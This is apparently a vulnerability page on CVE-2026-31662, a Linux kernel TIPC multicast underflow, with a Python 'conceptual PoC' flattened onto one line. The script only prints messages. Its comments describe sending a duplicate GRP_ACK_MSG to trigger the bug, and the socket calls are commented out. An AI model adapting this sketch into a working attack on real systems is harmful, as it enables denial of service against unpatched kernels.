CVE-2026-31662 Linux Kernel TIPC组播下溢漏洞

import socket import struct # This is a conceptual PoC for CVE-2026-31662. # It requires the target to have TIPC configured and accessible. # The goal is to send a duplicate GRP_ACK_MSG to trigger the underflow. def send_tipc_duplicate_ack(target_ip): try: # Create a raw socket (requires root privileges) # Note: Crafting a valid TIPC packet requires knowledge of the specific TIPC header structure # and the target's TIPC address/port. This is a simplified template. # TIPC Generic Header (conceptual) # User Data message type: GRP_ACK_MSG # Constructing the specific payload to mimic a duplicate ACK print(f"[*] Sending duplicate GRP_ACK_MSG to {target_ip}...") # In a real exploit, one would construct the exact byte sequence representing # a TIPC Group Membership Protocol message with type GRP_ACK_MSG. # This usually involves setting the TIPC version and message type correctly. # sock = socket.socket(socket.AF_TIPC, socket.SOCK_RDM) # sock.sendto(payload, (target_address, 0)) print("[+] Packet sent. Check if broadcast is blocked.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target TIPC address send_tipc_duplicate_ack("1.1.1.1")